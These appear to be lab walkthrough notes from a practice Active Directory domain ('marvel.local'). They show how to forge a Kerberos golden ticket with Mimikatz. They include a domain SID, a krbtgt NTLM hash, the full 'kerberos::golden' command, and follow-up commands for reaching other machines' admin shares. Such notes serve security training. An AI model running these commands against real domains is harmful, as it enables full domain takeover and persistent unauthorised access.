We need the SID of the domain

S-1-5-21-817282392-3664699690-768258319

We need the NTLM hash of the account

e2862946500528c91a1bc952806f1f6d
We have both info here

Generate a golden ticket

kerberos::golden /User:Admin /domain:marvel.local /sid:S-1-5-21-817282392-3664699690-768258319 /krbtgt:e2862946500528c91a1bc952806f1f6d /id:500

Pass the Golden Ticket

Once we have the ticket we can pass this ticket and can have command line access to every machine.

misc::cmd
Now we have a session with golden ticket
dir \\THEPUNISHER\C$

We can also run command prompt with psexec.

We can also add a new user.
